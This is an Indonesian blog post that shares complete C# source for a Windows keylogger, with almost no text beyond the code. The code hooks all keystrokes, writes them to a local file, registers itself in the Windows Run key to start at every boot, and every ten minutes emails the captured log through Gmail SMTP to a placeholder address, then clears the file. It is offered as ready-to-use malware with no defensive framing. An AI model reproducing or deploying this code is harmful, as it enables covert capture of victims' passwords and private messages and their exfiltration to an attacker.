Simple Key Logger in C#

Ok bro langsung aja gak usah basa-basi

using System;
using System.Diagnostics;
using System.Timers;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
using System.Net;
using System.Net.Mail;
using Microsoft.Win32;


namespace Keylogger
{
class appstart
{
public static string path = "C:/file.txt";
public static byte caps = 0, shift = 0, failed = 0;
public static void startup()
{
//Regedit --> Startup objects
RegistryKey rkApp = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);

if (rkApp.GetValue("Keylogger") == null)
{
rkApp.SetValue("Keylogger",Application.ExecutablePath.ToString());
}

rkApp.Close();//dispose of the key
}
public static void OnTimedEvent(object source, EventArgs e)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); //create the message
msg.To.Add("username@gmail.com");
msg.To.Add("another.optional.address.to.send.to@domain.com");
msg.From = new MailAddress("username@gmail.com", "nickname", System.Text.Encoding.UTF8);
msg.Subject = "whatever.you.want.to.be.in.the.message.subject";
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = "whatever.you.want.to.be.in.the.message.body";
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = false;
msg.Priority = MailPriority.High;
SmtpClient client = new SmtpClient(); //Network Credentials for Gmail
client.Credentials = new System.Net.NetworkCredential("username@gmail.com", "gmailpassword");
client.Port = 587;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
Attachment data = new Attachment(appstart.path);
msg.Attachments.Add(data);
try
{
client.Send(msg);
failed = 0;
}
catch
{
data.Dispose();
failed = 1;
}
data.Dispose();

if (failed == 0)
File.WriteAllText(appstart.path, ""); //empties the file

failed = 0;
} //end of the OnTimedEvent method
}//end of the appstart class
class InterceptKeys
{
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
public static void Main()
{
_hookID = SetHook(_proc);
appstart.startup();
System.Timers.Timer timer;
timer = new System.Timers.Timer();
timer.Elapsed += new ElapsedEventHandler(appstart.OnTimedEvent);
timer.AutoReset = true;
timer.Interval = 600000;
timer.Start();
Application.Run();
GC.KeepAlive(timer);
UnhookWindowsHookEx(_hookID);
}
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
StreamWriter sw = File.AppendText(appstart.path);
int vkCode = Marshal.ReadInt32(lParam);
if (Keys.Shift == Control.ModifierKeys) appstart.shift = 1;

switch ((Keys)vkCode)
{
case Keys.Space:
sw.Write(" ");
break;
case Keys.Return:
sw.WriteLine("");
break;
case Keys.Back:
sw.Write("back");
break;
case Keys.Tab:
sw.Write("TAB");
break;
case Keys.D0:
if (appstart.shift == 0) sw.Write("0");
else sw.Write(")");
break;
case Keys.D1:
if (appstart.shift == 0) sw.Write("1");
else sw.Write("!");
break;
case Keys.D2:
if (appstart.shift == 0) sw.Write("2");
else sw.Write("@");
break;
case Keys.D3:
if (appstart.shift == 0) sw.Write("3");
else sw.Write("#");
break;
case Keys.D4:
if (appstart.shift == 0) sw.Write("4");
else sw.Write("$");
break;
case Keys.D5:
if (appstart.shift == 0) sw.Write("5");
else sw.Write("%");
break;
case Keys.D6:
if (appstart.shift == 0) sw.Write("6");
else sw.Write("^");
break;
case Keys.D7:
if (appstart.shift == 0) sw.Write("7");
else sw.Write("&");
break;
case Keys.D8:
if (appstart.shift == 0) sw.Write("8");
else sw.Write("*");
break;
case Keys.D9:
if (appstart.shift == 0) sw.Write("9");
else sw.Write("(");
break;
case Keys.LShiftKey:
case Keys.RShiftKey:
case Keys.LControlKey:
case Keys.RControlKey:
case Keys.LMenu:
case Keys.RMenu:
case Keys.LWin:
case Keys.RWin:
case Keys.Apps:
sw.Write("");
break;
case Keys.OemQuestion:
if (appstart.shift == 0) sw.Write("/");
else sw.Write("?");
break;
case Keys.OemOpenBrackets:
if (appstart.shift == 0) sw.Write("[");
else sw.Write("{");
break;
case Keys.OemCloseBrackets:
if (appstart.shift == 0) sw.Write("]");
else sw.Write("}");
break;
case Keys.Oem1:
if (appstart.shift == 0) sw.Write(";");
else sw.Write(":");
break;
case Keys.Oem7:
if (appstart.shift == 0) sw.Write("'");
else sw.Write('"');
break;
case Keys.Oemcomma:
if (appstart.shift == 0) sw.Write(",");
else sw.Write("<");
break;
case Keys.OemPeriod:
if (appstart.shift == 0) sw.Write(".");
else sw.Write(">");
break;
case Keys.OemMinus:
if (appstart.shift == 0) sw.Write("-");
else sw.Write("_");
break;
case Keys.Oemplus:
if (appstart.shift == 0) sw.Write("=");
else sw.Write("+");
break;
case Keys.Oemtilde:
if (appstart.shift == 0) sw.Write("`");
else sw.Write("~");
break;
case Keys.Oem5:
sw.Write("|");
break;
case Keys.Capital:
if (appstart.caps == 0) appstart.caps = 1;
else appstart.caps = 0;
break;
default:
if (appstart.shift == 0 && appstart.caps == 0) sw.Write(((Keys)vkCode).ToString().ToLower());
if (appstart.shift == 1 && appstart.caps == 0) sw.Write(((Keys)vkCode).ToString().ToUpper());
if (appstart.shift == 0 && appstart.caps == 1) sw.Write(((Keys)vkCode).ToString().ToUpper());
if (appstart.shift == 1 && appstart.caps == 1) sw.Write(((Keys)vkCode).ToString().ToLower());
break;
} //end of switch
appstart.shift = 0;
sw.Close();
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
} //end of HookCallback method
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
}
}
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

}
}

huf...huf...huff... pusing gak bro.. sama ane juga pusing...huft...


Related Articles






IP

Followers

 

Copyright © 2009 by ::EXPLORE::